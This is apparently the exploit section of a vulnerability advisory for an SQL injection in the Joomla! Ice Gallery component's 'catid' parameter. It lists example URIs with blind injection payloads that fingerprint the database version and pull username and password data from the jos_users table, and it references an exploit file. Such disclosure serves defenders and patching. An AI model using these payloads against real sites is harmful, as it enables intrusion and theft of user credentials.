• info
• discussion
• exploit
• solution
• references

Joomla! Ice Gallery Component 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=4
http://www.example.com/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=5
http://www.example.com/index.php?option=com_ice&catid=1 and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96

The following exploit is available:

• /data/vulnerabilities/exploits/33008-2.php